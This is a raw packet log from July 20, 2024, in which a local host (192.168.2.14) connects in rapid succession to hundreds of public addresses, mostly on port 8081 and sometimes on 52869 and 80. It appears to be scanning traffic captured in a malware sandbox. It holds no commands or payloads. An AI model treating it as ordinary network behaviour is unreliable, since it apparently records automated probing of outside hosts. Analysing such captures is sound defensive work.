Jul 20, 2024 23:01:03.132929087 CEST	8081	50165	76.137.1.53	192.168.2.14
Jul 20, 2024 23:01:03.133218050 CEST	8081	50165	192.4.66.34	192.168.2.14
Jul 20, 2024 23:01:03.133223057 CEST	8081	50165	204.29.155.209	192.168.2.14
Jul 20, 2024 23:01:03.133234978 CEST	8081	50165	151.100.141.139	192.168.2.14
Jul 20, 2024 23:01:03.133244991 CEST	8081	50165	124.175.87.112	192.168.2.14
Jul 20, 2024 23:01:03.133249998 CEST	8081	50165	90.113.221.252	192.168.2.14
Jul 20, 2024 23:01:03.133254051 CEST	8081	50165	150.126.245.222	192.168.2.14
Jul 20, 2024 23:01:03.133301020 CEST	50165	8081	192.168.2.14	87.196.173.71
Jul 20, 2024 23:01:03.133301020 CEST	50165	8081	192.168.2.14	192.4.66.34
Jul 20, 2024 23:01:03.133301020 CEST	50165	8081	192.168.2.14	90.113.221.252
Jul 20, 2024 23:01:03.133449078 CEST	8081	50165	210.208.35.11	192.168.2.14
Jul 20, 2024 23:01:03.133462906 CEST	50165	8081	192.168.2.14	206.55.198.219
Jul 20, 2024 23:01:03.133462906 CEST	50165	8081	192.168.2.14	151.100.141.139
Jul 20, 2024 23:01:03.133467913 CEST	8081	50165	168.238.100.205	192.168.2.14
Jul 20, 2024 23:01:03.133471966 CEST	8081	50165	223.6.214.55	192.168.2.14
Jul 20, 2024 23:01:03.133593082 CEST	8081	50165	62.66.147.200	192.168.2.14
Jul 20, 2024 23:01:03.133596897 CEST	8081	50165	48.64.83.44	192.168.2.14
Jul 20, 2024 23:01:03.133606911 CEST	8081	50165	221.34.154.226	192.168.2.14
Jul 20, 2024 23:01:03.133611917 CEST	8081	50165	43.201.212.144	192.168.2.14
Jul 20, 2024 23:01:03.133620977 CEST	8081	50165	218.97.122.254	192.168.2.14
Jul 20, 2024 23:01:03.133625031 CEST	8081	50165	194.114.174.13	192.168.2.14
Jul 20, 2024 23:01:03.133634090 CEST	8081	50165	131.2.150.33	192.168.2.14
Jul 20, 2024 23:01:03.133637905 CEST	8081	50165	166.110.126.109	192.168.2.14
Jul 20, 2024 23:01:03.133713961 CEST	50165	8081	192.168.2.14	210.208.35.11
Jul 20, 2024 23:01:03.133713961 CEST	50165	8081	192.168.2.14	131.2.150.33
Jul 20, 2024 23:01:03.133761883 CEST	8081	50165	93.78.244.21	192.168.2.14
Jul 20, 2024 23:01:03.133889914 CEST	8081	50165	180.41.228.30	192.168.2.14
Jul 20, 2024 23:01:03.133894920 CEST	8081	50165	142.34.199.184	192.168.2.14
Jul 20, 2024 23:01:03.133904934 CEST	8081	50165	81.252.75.32	192.168.2.14
Jul 20, 2024 23:01:03.133909941 CEST	8081	50165	171.33.48.226	192.168.2.14
Jul 20, 2024 23:01:03.133914948 CEST	50165	8081	192.168.2.14	135.170.252.96
Jul 20, 2024 23:01:03.133914948 CEST	50165	8081	192.168.2.14	43.201.212.144
Jul 20, 2024 23:01:03.133914948 CEST	50165	8081	192.168.2.14	194.114.174.13
Jul 20, 2024 23:01:03.133919954 CEST	8081	50165	51.144.222.200	192.168.2.14
Jul 20, 2024 23:01:03.133924961 CEST	8081	50165	80.117.177.10	192.168.2.14
Jul 20, 2024 23:01:03.133933067 CEST	8081	50165	17.94.44.52	192.168.2.14
Jul 20, 2024 23:01:03.133938074 CEST	8081	50165	179.106.246.126	192.168.2.14
Jul 20, 2024 23:01:03.133941889 CEST	8081	50165	53.112.237.25	192.168.2.14
Jul 20, 2024 23:01:03.133999109 CEST	50165	8081	192.168.2.14	168.23.131.186
Jul 20, 2024 23:01:03.133999109 CEST	50165	8081	192.168.2.14	93.239.186.114
Jul 20, 2024 23:01:03.133999109 CEST	50165	8081	192.168.2.14	42.243.55.10
Jul 20, 2024 23:01:03.133999109 CEST	50165	8081	192.168.2.14	86.22.198.1
Jul 20, 2024 23:01:03.133999109 CEST	50165	8081	192.168.2.14	206.158.50.166
Jul 20, 2024 23:01:03.134031057 CEST	50165	8081	192.168.2.14	196.239.25.39
Jul 20, 2024 23:01:03.134031057 CEST	50165	8081	192.168.2.14	124.175.87.112
Jul 20, 2024 23:01:03.134032011 CEST	50165	8081	192.168.2.14	221.34.154.226
Jul 20, 2024 23:01:03.134032011 CEST	50165	8081	192.168.2.14	142.34.199.184
Jul 20, 2024 23:01:03.134032011 CEST	50165	8081	192.168.2.14	171.33.48.226
Jul 20, 2024 23:01:03.134032011 CEST	50165	8081	192.168.2.14	17.94.44.52
Jul 20, 2024 23:01:03.134222984 CEST	50165	8081	192.168.2.14	93.39.240.161
Jul 20, 2024 23:01:03.134222984 CEST	50165	8081	192.168.2.14	77.195.15.125
Jul 20, 2024 23:01:03.134222984 CEST	50165	8081	192.168.2.14	200.178.220.201
Jul 20, 2024 23:01:03.134222984 CEST	50165	8081	192.168.2.14	168.238.100.205
Jul 20, 2024 23:01:03.134222984 CEST	50165	8081	192.168.2.14	81.252.75.32
Jul 20, 2024 23:01:03.134222984 CEST	50165	8081	192.168.2.14	80.117.177.10
Jul 20, 2024 23:01:03.134222984 CEST	50165	8081	192.168.2.14	53.112.237.25
Jul 20, 2024 23:01:03.134344101 CEST	50165	8081	192.168.2.14	145.137.123.250
Jul 20, 2024 23:01:03.134344101 CEST	50165	8081	192.168.2.14	150.70.104.245
Jul 20, 2024 23:01:03.134344101 CEST	50165	8081	192.168.2.14	68.170.190.104
Jul 20, 2024 23:01:03.134344101 CEST	50165	8081	192.168.2.14	31.87.180.185
Jul 20, 2024 23:01:03.134344101 CEST	50165	8081	192.168.2.14	204.29.155.209
Jul 20, 2024 23:01:03.134344101 CEST	50165	8081	192.168.2.14	150.126.245.222
Jul 20, 2024 23:01:03.134653091 CEST	8081	50165	12.33.225.1	192.168.2.14
Jul 20, 2024 23:01:03.134659052 CEST	8081	50165	149.49.63.147	192.168.2.14
Jul 20, 2024 23:01:03.134668112 CEST	8081	50165	158.9.61.147	192.168.2.14
Jul 20, 2024 23:01:03.134673119 CEST	8081	50165	156.190.124.56	192.168.2.14
Jul 20, 2024 23:01:03.134681940 CEST	8081	50165	2.15.3.152	192.168.2.14
Jul 20, 2024 23:01:03.134686947 CEST	8081	50165	187.16.144.121	192.168.2.14
Jul 20, 2024 23:01:03.134696007 CEST	8081	50165	193.15.250.199	192.168.2.14
Jul 20, 2024 23:01:03.134700060 CEST	8081	50165	69.234.93.102	192.168.2.14
Jul 20, 2024 23:01:03.134707928 CEST	50165	8081	192.168.2.14	156.190.124.56
Jul 20, 2024 23:01:03.134710073 CEST	8081	50165	217.106.240.171	192.168.2.14
Jul 20, 2024 23:01:03.134716034 CEST	8081	50165	120.153.161.123	192.168.2.14
Jul 20, 2024 23:01:03.134721041 CEST	8081	50165	136.94.164.35	192.168.2.14
Jul 20, 2024 23:01:03.134725094 CEST	8081	50165	91.12.68.72	192.168.2.14
Jul 20, 2024 23:01:03.134730101 CEST	8081	50165	118.120.59.187	192.168.2.14
Jul 20, 2024 23:01:03.134735107 CEST	8081	50165	191.63.84.95	192.168.2.14
Jul 20, 2024 23:01:03.134735107 CEST	34174	80	192.168.2.14	88.205.0.223
Jul 20, 2024 23:01:03.134735107 CEST	51954	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:03.134735107 CEST	50165	8081	192.168.2.14	158.9.61.147
Jul 20, 2024 23:01:03.134738922 CEST	8081	50165	86.89.249.24	192.168.2.14
Jul 20, 2024 23:01:03.134864092 CEST	50165	8081	192.168.2.14	62.66.147.200
Jul 20, 2024 23:01:03.134864092 CEST	50165	8081	192.168.2.14	93.78.244.21
Jul 20, 2024 23:01:03.134864092 CEST	50165	8081	192.168.2.14	179.106.246.126
Jul 20, 2024 23:01:03.134864092 CEST	50165	8081	192.168.2.14	2.15.3.152
Jul 20, 2024 23:01:03.134864092 CEST	50165	8081	192.168.2.14	193.15.250.199
Jul 20, 2024 23:01:03.134864092 CEST	50165	8081	192.168.2.14	86.89.249.24
Jul 20, 2024 23:01:03.134936094 CEST	8081	50165	149.238.160.62	192.168.2.14
Jul 20, 2024 23:01:03.134941101 CEST	8081	50165	89.198.248.138	192.168.2.14
Jul 20, 2024 23:01:03.134949923 CEST	8081	50165	197.7.168.116	192.168.2.14
Jul 20, 2024 23:01:03.134954929 CEST	8081	50165	51.254.100.5	192.168.2.14
Jul 20, 2024 23:01:03.134964943 CEST	8081	50165	96.224.186.197	192.168.2.14
Jul 20, 2024 23:01:03.134968996 CEST	8081	50165	25.208.249.240	192.168.2.14
Jul 20, 2024 23:01:03.134974003 CEST	8081	50165	195.147.175.84	192.168.2.14
Jul 20, 2024 23:01:03.134987116 CEST	50165	8081	192.168.2.14	149.49.63.147
Jul 20, 2024 23:01:03.134987116 CEST	50165	8081	192.168.2.14	136.94.164.35
Jul 20, 2024 23:01:03.134987116 CEST	50165	8081	192.168.2.14	118.120.59.187
Jul 20, 2024 23:01:03.134999990 CEST	8081	50165	83.215.156.1	192.168.2.14
Jul 20, 2024 23:01:03.135004997 CEST	8081	50165	139.124.84.30	192.168.2.14
Jul 20, 2024 23:01:03.135009050 CEST	8081	50165	207.80.12.0	192.168.2.14
Jul 20, 2024 23:01:03.135093927 CEST	8081	50165	222.64.97.219	192.168.2.14
Jul 20, 2024 23:01:03.135097980 CEST	8081	50165	77.88.180.129	192.168.2.14
Jul 20, 2024 23:01:03.135107994 CEST	8081	50165	113.110.122.101	192.168.2.14
Jul 20, 2024 23:01:03.135113001 CEST	8081	50165	138.86.91.118	192.168.2.14
Jul 20, 2024 23:01:03.135122061 CEST	8081	50165	199.218.192.195	192.168.2.14
Jul 20, 2024 23:01:03.135126114 CEST	8081	50165	88.160.145.85	192.168.2.14
Jul 20, 2024 23:01:03.135251045 CEST	50165	8081	192.168.2.14	113.110.122.101
Jul 20, 2024 23:01:03.135251045 CEST	50165	8081	192.168.2.14	199.218.192.195
Jul 20, 2024 23:01:03.135427952 CEST	8081	50165	171.100.8.248	192.168.2.14
Jul 20, 2024 23:01:03.135433912 CEST	8081	50165	12.73.226.47	192.168.2.14
Jul 20, 2024 23:01:03.135443926 CEST	8081	50165	137.190.170.238	192.168.2.14
Jul 20, 2024 23:01:03.135447979 CEST	8081	50165	85.229.137.103	192.168.2.14
Jul 20, 2024 23:01:03.135452986 CEST	8081	50165	20.137.209.156	192.168.2.14
Jul 20, 2024 23:01:03.135462046 CEST	8081	50165	141.117.128.146	192.168.2.14
Jul 20, 2024 23:01:03.135466099 CEST	8081	50165	48.155.245.112	192.168.2.14
Jul 20, 2024 23:01:03.135469913 CEST	8081	50165	128.33.133.115	192.168.2.14
Jul 20, 2024 23:01:03.135734081 CEST	8081	50165	95.192.220.132	192.168.2.14
Jul 20, 2024 23:01:03.135744095 CEST	8081	50165	199.43.242.95	192.168.2.14
Jul 20, 2024 23:01:03.135749102 CEST	8081	50165	151.201.166.1	192.168.2.14
Jul 20, 2024 23:01:03.135765076 CEST	8081	50165	20.178.178.52	192.168.2.14
Jul 20, 2024 23:01:03.135770082 CEST	8081	50165	79.21.177.86	192.168.2.14
Jul 20, 2024 23:01:03.135775089 CEST	8081	50165	164.131.122.172	192.168.2.14
Jul 20, 2024 23:01:03.135778904 CEST	8081	50165	54.182.45.80	192.168.2.14
Jul 20, 2024 23:01:03.135782957 CEST	8081	50165	101.59.229.194	192.168.2.14
Jul 20, 2024 23:01:03.135818005 CEST	50165	8081	192.168.2.14	222.64.97.219
Jul 20, 2024 23:01:03.135854959 CEST	8081	50165	18.251.218.61	192.168.2.14
Jul 20, 2024 23:01:03.135864973 CEST	8081	50165	148.236.132.228	192.168.2.14
Jul 20, 2024 23:01:03.135909081 CEST	8081	50165	60.165.116.234	192.168.2.14
Jul 20, 2024 23:01:03.135914087 CEST	8081	50165	165.57.21.53	192.168.2.14
Jul 20, 2024 23:01:03.135926008 CEST	50165	8081	192.168.2.14	187.16.144.121
Jul 20, 2024 23:01:03.135926008 CEST	50165	8081	192.168.2.14	69.234.93.102
Jul 20, 2024 23:01:03.135926008 CEST	50165	8081	192.168.2.14	191.63.84.95
Jul 20, 2024 23:01:03.135926008 CEST	50165	8081	192.168.2.14	149.238.160.62
Jul 20, 2024 23:01:03.135926008 CEST	50165	8081	192.168.2.14	195.147.175.84
Jul 20, 2024 23:01:03.135926008 CEST	50165	8081	192.168.2.14	12.73.226.47
Jul 20, 2024 23:01:03.135926008 CEST	50165	8081	192.168.2.14	85.229.137.103
Jul 20, 2024 23:01:03.135926008 CEST	50165	8081	192.168.2.14	128.33.133.115
Jul 20, 2024 23:01:03.136006117 CEST	50165	8081	192.168.2.14	95.192.220.132
Jul 20, 2024 23:01:03.136006117 CEST	50165	8081	192.168.2.14	151.201.166.1
Jul 20, 2024 23:01:03.136006117 CEST	50165	8081	192.168.2.14	79.21.177.86
Jul 20, 2024 23:01:03.136006117 CEST	50165	8081	192.168.2.14	101.59.229.194
Jul 20, 2024 23:01:03.136006117 CEST	50165	8081	192.168.2.14	60.165.116.234
Jul 20, 2024 23:01:03.136049986 CEST	50165	8081	192.168.2.14	218.97.122.254
Jul 20, 2024 23:01:03.136049986 CEST	50165	8081	192.168.2.14	12.33.225.1
Jul 20, 2024 23:01:03.136049986 CEST	50165	8081	192.168.2.14	120.153.161.123
Jul 20, 2024 23:01:03.136050940 CEST	50165	8081	192.168.2.14	91.12.68.72
Jul 20, 2024 23:01:03.136050940 CEST	50165	8081	192.168.2.14	207.80.12.0
Jul 20, 2024 23:01:03.136050940 CEST	50165	8081	192.168.2.14	77.88.180.129
Jul 20, 2024 23:01:03.136050940 CEST	50165	8081	192.168.2.14	138.86.91.118
Jul 20, 2024 23:01:03.136050940 CEST	50165	8081	192.168.2.14	199.43.242.95
Jul 20, 2024 23:01:03.136085033 CEST	8081	50165	74.138.135.67	192.168.2.14
Jul 20, 2024 23:01:03.136095047 CEST	8081	50165	42.101.209.247	192.168.2.14
Jul 20, 2024 23:01:03.136106014 CEST	8081	50165	98.94.233.213	192.168.2.14
Jul 20, 2024 23:01:03.136380911 CEST	59244	80	192.168.2.14	88.193.181.65
Jul 20, 2024 23:01:03.136380911 CEST	50165	8081	192.168.2.14	34.242.74.202
Jul 20, 2024 23:01:03.136380911 CEST	50165	8081	192.168.2.14	168.84.36.47
Jul 20, 2024 23:01:03.136380911 CEST	50165	8081	192.168.2.14	76.137.1.53
Jul 20, 2024 23:01:03.136380911 CEST	50165	8081	192.168.2.14	223.6.214.55
Jul 20, 2024 23:01:03.136380911 CEST	50165	8081	192.168.2.14	166.110.126.109
Jul 20, 2024 23:01:03.136380911 CEST	50165	8081	192.168.2.14	180.41.228.30
Jul 20, 2024 23:01:03.136380911 CEST	50165	8081	192.168.2.14	51.144.222.200
Jul 20, 2024 23:01:03.136452913 CEST	8081	50165	23.224.28.141	192.168.2.14
Jul 20, 2024 23:01:03.136457920 CEST	8081	50165	210.191.137.200	192.168.2.14
Jul 20, 2024 23:01:03.136466980 CEST	8081	50165	40.201.17.157	192.168.2.14
Jul 20, 2024 23:01:03.136471987 CEST	8081	50165	182.6.187.216	192.168.2.14
Jul 20, 2024 23:01:03.136487007 CEST	8081	50165	154.179.75.214	192.168.2.14
Jul 20, 2024 23:01:03.136499882 CEST	8081	50165	81.62.143.152	192.168.2.14
Jul 20, 2024 23:01:03.136598110 CEST	8081	50165	168.60.196.27	192.168.2.14
Jul 20, 2024 23:01:03.136603117 CEST	8081	50165	106.95.70.134	192.168.2.14
Jul 20, 2024 23:01:03.136606932 CEST	8081	50165	57.80.205.230	192.168.2.14
Jul 20, 2024 23:01:03.136768103 CEST	8081	52960	145.253.154.42	192.168.2.14
Jul 20, 2024 23:01:03.136776924 CEST	8081	50165	19.162.151.227	192.168.2.14
Jul 20, 2024 23:01:03.136781931 CEST	8081	50165	5.169.14.247	192.168.2.14
Jul 20, 2024 23:01:03.136828899 CEST	50165	8081	192.168.2.14	89.198.248.138
Jul 20, 2024 23:01:03.136828899 CEST	50165	8081	192.168.2.14	51.254.100.5
Jul 20, 2024 23:01:03.136828899 CEST	50165	8081	192.168.2.14	25.208.249.240
Jul 20, 2024 23:01:03.136828899 CEST	50165	8081	192.168.2.14	88.160.145.85
Jul 20, 2024 23:01:03.136828899 CEST	50165	8081	192.168.2.14	20.137.209.156
Jul 20, 2024 23:01:03.136828899 CEST	50165	8081	192.168.2.14	48.155.245.112
Jul 20, 2024 23:01:03.136828899 CEST	50165	8081	192.168.2.14	18.251.218.61
Jul 20, 2024 23:01:03.137063980 CEST	8081	50165	106.82.98.84	192.168.2.14
Jul 20, 2024 23:01:03.137068987 CEST	8081	50165	19.163.170.72	192.168.2.14
Jul 20, 2024 23:01:03.137078047 CEST	8081	50165	32.135.222.240	192.168.2.14
Jul 20, 2024 23:01:03.137131929 CEST	8081	50165	46.95.134.1	192.168.2.14
Jul 20, 2024 23:01:03.137136936 CEST	8081	50165	182.137.253.207	192.168.2.14
Jul 20, 2024 23:01:03.137145996 CEST	8081	50165	72.73.1.211	192.168.2.14
Jul 20, 2024 23:01:03.137150049 CEST	8081	50165	189.212.45.207	192.168.2.14
Jul 20, 2024 23:01:03.137159109 CEST	8081	50165	223.191.28.51	192.168.2.14
Jul 20, 2024 23:01:03.137164116 CEST	8081	50165	158.183.44.215	192.168.2.14
Jul 20, 2024 23:01:03.137224913 CEST	50165	8081	192.168.2.14	217.106.240.171
Jul 20, 2024 23:01:03.137224913 CEST	50165	8081	192.168.2.14	197.7.168.116
Jul 20, 2024 23:01:03.137224913 CEST	50165	8081	192.168.2.14	139.124.84.30
Jul 20, 2024 23:01:03.137224913 CEST	50165	8081	192.168.2.14	137.190.170.238
Jul 20, 2024 23:01:03.137224913 CEST	50165	8081	192.168.2.14	141.117.128.146
Jul 20, 2024 23:01:03.137224913 CEST	50165	8081	192.168.2.14	74.138.135.67
Jul 20, 2024 23:01:03.137224913 CEST	50165	8081	192.168.2.14	98.94.233.213
Jul 20, 2024 23:01:03.137224913 CEST	50165	8081	192.168.2.14	210.191.137.200
Jul 20, 2024 23:01:03.137360096 CEST	8081	50165	216.48.158.213	192.168.2.14
Jul 20, 2024 23:01:03.137404919 CEST	50165	8081	192.168.2.14	54.182.45.80
Jul 20, 2024 23:01:03.137404919 CEST	50165	8081	192.168.2.14	23.224.28.141
Jul 20, 2024 23:01:03.137404919 CEST	50165	8081	192.168.2.14	168.60.196.27
Jul 20, 2024 23:01:03.137404919 CEST	50165	8081	192.168.2.14	32.135.222.240
Jul 20, 2024 23:01:03.137407064 CEST	8081	50165	85.14.239.116	192.168.2.14
Jul 20, 2024 23:01:03.137404919 CEST	50165	8081	192.168.2.14	223.191.28.51
Jul 20, 2024 23:01:03.137412071 CEST	8081	50165	69.16.232.195	192.168.2.14
Jul 20, 2024 23:01:03.137516975 CEST	8081	36146	62.246.141.35	192.168.2.14
Jul 20, 2024 23:01:03.137521029 CEST	8081	50165	166.156.153.201	192.168.2.14
Jul 20, 2024 23:01:03.137630939 CEST	8081	36146	62.246.141.35	192.168.2.14
Jul 20, 2024 23:01:03.137727022 CEST	8081	50165	84.12.189.189	192.168.2.14
Jul 20, 2024 23:01:03.137880087 CEST	8081	50165	150.90.180.101	192.168.2.14
Jul 20, 2024 23:01:03.137885094 CEST	8081	50165	34.222.132.243	192.168.2.14
Jul 20, 2024 23:01:03.137893915 CEST	8081	50165	157.216.5.91	192.168.2.14
Jul 20, 2024 23:01:03.137917995 CEST	50165	8081	192.168.2.14	40.201.17.157
Jul 20, 2024 23:01:03.137917995 CEST	50165	8081	192.168.2.14	154.179.75.214
Jul 20, 2024 23:01:03.137917995 CEST	50165	8081	192.168.2.14	5.169.14.247
Jul 20, 2024 23:01:03.137917995 CEST	50165	8081	192.168.2.14	158.183.44.215
Jul 20, 2024 23:01:03.138067961 CEST	8081	50165	112.122.219.83	192.168.2.14
Jul 20, 2024 23:01:03.138113976 CEST	50165	8081	192.168.2.14	20.178.178.52
Jul 20, 2024 23:01:03.138113976 CEST	50165	8081	192.168.2.14	164.131.122.172
Jul 20, 2024 23:01:03.138113976 CEST	50165	8081	192.168.2.14	148.236.132.228
Jul 20, 2024 23:01:03.138113976 CEST	50165	8081	192.168.2.14	165.57.21.53
Jul 20, 2024 23:01:03.138113976 CEST	50165	8081	192.168.2.14	182.6.187.216
Jul 20, 2024 23:01:03.138113976 CEST	50165	8081	192.168.2.14	19.162.151.227
Jul 20, 2024 23:01:03.138113976 CEST	50165	8081	192.168.2.14	106.82.98.84
Jul 20, 2024 23:01:03.138212919 CEST	52960	8081	192.168.2.14	145.253.154.42
Jul 20, 2024 23:01:03.138267040 CEST	8081	50165	108.30.200.108	192.168.2.14
Jul 20, 2024 23:01:03.138371944 CEST	50165	8081	192.168.2.14	96.224.186.197
Jul 20, 2024 23:01:03.138371944 CEST	50165	8081	192.168.2.14	83.215.156.1
Jul 20, 2024 23:01:03.138371944 CEST	50165	8081	192.168.2.14	171.100.8.248
Jul 20, 2024 23:01:03.138371944 CEST	50165	8081	192.168.2.14	42.101.209.247
Jul 20, 2024 23:01:03.138400078 CEST	8081	50165	107.224.159.200	192.168.2.14
Jul 20, 2024 23:01:03.138627052 CEST	8081	50165	35.45.128.64	192.168.2.14
Jul 20, 2024 23:01:03.138632059 CEST	8081	50165	86.178.137.141	192.168.2.14
Jul 20, 2024 23:01:03.138719082 CEST	50165	8081	192.168.2.14	166.156.153.201
Jul 20, 2024 23:01:03.138719082 CEST	50165	8081	192.168.2.14	84.12.189.189
Jul 20, 2024 23:01:03.138952971 CEST	8081	50165	147.223.171.167	192.168.2.14
Jul 20, 2024 23:01:03.138956070 CEST	50165	8081	192.168.2.14	81.62.143.152
Jul 20, 2024 23:01:03.138956070 CEST	50165	8081	192.168.2.14	19.163.170.72
Jul 20, 2024 23:01:03.138956070 CEST	50165	8081	192.168.2.14	189.212.45.207
Jul 20, 2024 23:01:03.138956070 CEST	50165	8081	192.168.2.14	182.137.253.207
Jul 20, 2024 23:01:03.138956070 CEST	50165	8081	192.168.2.14	85.14.239.116
Jul 20, 2024 23:01:03.138956070 CEST	50165	8081	192.168.2.14	150.90.180.101
Jul 20, 2024 23:01:03.139102936 CEST	8081	50165	73.115.55.44	192.168.2.14
Jul 20, 2024 23:01:03.139107943 CEST	8081	50165	168.23.131.186	192.168.2.14
Jul 20, 2024 23:01:03.139132977 CEST	50165	8081	192.168.2.14	106.95.70.134
Jul 20, 2024 23:01:03.139132977 CEST	50165	8081	192.168.2.14	57.80.205.230
Jul 20, 2024 23:01:03.139132977 CEST	50165	8081	192.168.2.14	46.95.134.1
Jul 20, 2024 23:01:03.139132977 CEST	50165	8081	192.168.2.14	72.73.1.211
Jul 20, 2024 23:01:03.139132977 CEST	50165	8081	192.168.2.14	34.222.132.243
Jul 20, 2024 23:01:03.139132977 CEST	50165	8081	192.168.2.14	108.30.200.108
Jul 20, 2024 23:01:03.139132977 CEST	50165	8081	192.168.2.14	107.224.159.200
Jul 20, 2024 23:01:03.139261007 CEST	8081	50165	93.239.186.114	192.168.2.14
Jul 20, 2024 23:01:03.139350891 CEST	8081	50165	126.101.23.249	192.168.2.14
Jul 20, 2024 23:01:03.139483929 CEST	50165	8081	192.168.2.14	216.48.158.213
Jul 20, 2024 23:01:03.139483929 CEST	50165	8081	192.168.2.14	157.216.5.91
Jul 20, 2024 23:01:03.139483929 CEST	50165	8081	192.168.2.14	112.122.219.83
Jul 20, 2024 23:01:03.139483929 CEST	50165	8081	192.168.2.14	86.178.137.141
Jul 20, 2024 23:01:03.139483929 CEST	50165	8081	192.168.2.14	35.45.128.64
Jul 20, 2024 23:01:03.139483929 CEST	50165	8081	192.168.2.14	147.223.171.167
Jul 20, 2024 23:01:03.139483929 CEST	50165	8081	192.168.2.14	126.101.23.249
Jul 20, 2024 23:01:03.139501095 CEST	8081	50165	145.137.123.250	192.168.2.14
Jul 20, 2024 23:01:03.139554024 CEST	8081	50165	150.70.104.245	192.168.2.14
Jul 20, 2024 23:01:03.140062094 CEST	50165	8081	192.168.2.14	73.115.55.44
Jul 20, 2024 23:01:03.140153885 CEST	50165	8081	192.168.2.14	168.23.131.186
Jul 20, 2024 23:01:03.140296936 CEST	50165	8081	192.168.2.14	145.137.123.250
Jul 20, 2024 23:01:03.140296936 CEST	50165	8081	192.168.2.14	150.70.104.245
Jul 20, 2024 23:01:03.140306950 CEST	50165	8081	192.168.2.14	93.239.186.114
Jul 20, 2024 23:01:03.140513897 CEST	50165	8081	192.168.2.14	48.99.172.17
Jul 20, 2024 23:01:03.140513897 CEST	50165	8081	192.168.2.14	50.148.84.41
Jul 20, 2024 23:01:03.140513897 CEST	50165	8081	192.168.2.14	41.70.39.54
Jul 20, 2024 23:01:03.140513897 CEST	50165	8081	192.168.2.14	31.57.155.19
Jul 20, 2024 23:01:03.140515089 CEST	42766	52869	192.168.2.14	149.86.2.31
Jul 20, 2024 23:01:03.140515089 CEST	38754	52869	192.168.2.14	156.230.140.45
Jul 20, 2024 23:01:03.140515089 CEST	34562	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:03.140515089 CEST	50165	8081	192.168.2.14	48.64.83.44
Jul 20, 2024 23:01:03.140525103 CEST	52958	52869	192.168.2.14	181.146.224.142
Jul 20, 2024 23:01:03.140799046 CEST	50165	8081	192.168.2.14	69.16.232.195
Jul 20, 2024 23:01:03.141062975 CEST	8081	50165	42.243.55.10	192.168.2.14
Jul 20, 2024 23:01:03.141093969 CEST	50165	8081	192.168.2.14	42.243.55.10
Jul 20, 2024 23:01:03.141522884 CEST	8081	50165	86.22.198.1	192.168.2.14
Jul 20, 2024 23:01:03.141527891 CEST	8081	50165	206.158.50.166	192.168.2.14
Jul 20, 2024 23:01:03.141577005 CEST	50165	8081	192.168.2.14	86.22.198.1
Jul 20, 2024 23:01:03.141649008 CEST	50165	8081	192.168.2.14	206.158.50.166
Jul 20, 2024 23:01:03.141752958 CEST	36462	8081	192.168.2.14	62.246.141.35
Jul 20, 2024 23:01:03.141823053 CEST	80	59244	88.193.181.65	192.168.2.14
Jul 20, 2024 23:01:03.142241955 CEST	59244	80	192.168.2.14	88.193.181.65
Jul 20, 2024 23:01:03.142374992 CEST	43480	80	192.168.2.14	88.69.180.92
Jul 20, 2024 23:01:03.144026041 CEST	60310	8081	192.168.2.14	82.158.248.76
Jul 20, 2024 23:01:03.144026041 CEST	60310	8081	192.168.2.14	82.158.248.76
Jul 20, 2024 23:01:03.144510031 CEST	57638	52869	192.168.2.14	124.90.204.138
Jul 20, 2024 23:01:03.145284891 CEST	60628	8081	192.168.2.14	82.158.248.76
Jul 20, 2024 23:01:03.146346092 CEST	44936	80	192.168.2.14	88.122.134.59
Jul 20, 2024 23:01:03.146785021 CEST	8081	50165	74.155.53.80	192.168.2.14
Jul 20, 2024 23:01:03.146825075 CEST	50165	8081	192.168.2.14	74.155.53.80
Jul 20, 2024 23:01:03.147001982 CEST	35034	8081	192.168.2.14	41.165.86.52
Jul 20, 2024 23:01:03.147001982 CEST	35034	8081	192.168.2.14	41.165.86.52
Jul 20, 2024 23:01:03.147419930 CEST	8081	50165	17.240.246.239	192.168.2.14
Jul 20, 2024 23:01:03.147424936 CEST	8081	50165	159.219.193.66	192.168.2.14
Jul 20, 2024 23:01:03.147465944 CEST	50165	8081	192.168.2.14	159.219.193.66
Jul 20, 2024 23:01:03.147465944 CEST	50165	8081	192.168.2.14	17.240.246.239
Jul 20, 2024 23:01:03.147650957 CEST	50454	52869	192.168.2.14	77.164.7.36
Jul 20, 2024 23:01:03.148526907 CEST	8081	50165	206.249.71.199	192.168.2.14
Jul 20, 2024 23:01:03.148533106 CEST	8081	50165	109.20.3.201	192.168.2.14
Jul 20, 2024 23:01:03.148542881 CEST	8081	50165	88.133.224.82	192.168.2.14
Jul 20, 2024 23:01:03.148592949 CEST	50165	8081	192.168.2.14	109.20.3.201
Jul 20, 2024 23:01:03.148592949 CEST	50165	8081	192.168.2.14	206.249.71.199
Jul 20, 2024 23:01:03.148592949 CEST	50165	8081	192.168.2.14	88.133.224.82
Jul 20, 2024 23:01:03.148637056 CEST	8081	50165	95.31.190.184	192.168.2.14
Jul 20, 2024 23:01:03.148642063 CEST	8081	50165	48.99.172.17	192.168.2.14
Jul 20, 2024 23:01:03.148654938 CEST	8081	50165	50.148.84.41	192.168.2.14
Jul 20, 2024 23:01:03.148663998 CEST	8081	50165	41.70.39.54	192.168.2.14
Jul 20, 2024 23:01:03.148669004 CEST	8081	50165	31.57.155.19	192.168.2.14
Jul 20, 2024 23:01:03.148746014 CEST	50165	8081	192.168.2.14	48.99.172.17
Jul 20, 2024 23:01:03.148746014 CEST	50165	8081	192.168.2.14	95.31.190.184
Jul 20, 2024 23:01:03.148746014 CEST	50165	8081	192.168.2.14	41.70.39.54
Jul 20, 2024 23:01:03.148746967 CEST	50165	8081	192.168.2.14	50.148.84.41
Jul 20, 2024 23:01:03.148746967 CEST	50165	8081	192.168.2.14	31.57.155.19
Jul 20, 2024 23:01:03.148749113 CEST	52869	42766	149.86.2.31	192.168.2.14
Jul 20, 2024 23:01:03.148909092 CEST	52869	52958	181.146.224.142	192.168.2.14
Jul 20, 2024 23:01:03.148998022 CEST	52958	52869	192.168.2.14	181.146.224.142
Jul 20, 2024 23:01:03.149126053 CEST	35354	8081	192.168.2.14	41.165.86.52
Jul 20, 2024 23:01:03.149516106 CEST	41378	80	192.168.2.14	88.24.81.58
Jul 20, 2024 23:01:03.149564028 CEST	8081	36462	62.246.141.35	192.168.2.14
Jul 20, 2024 23:01:03.149601936 CEST	36462	8081	192.168.2.14	62.246.141.35
Jul 20, 2024 23:01:03.150147915 CEST	80	43480	88.69.180.92	192.168.2.14
Jul 20, 2024 23:01:03.150193930 CEST	43480	80	192.168.2.14	88.69.180.92
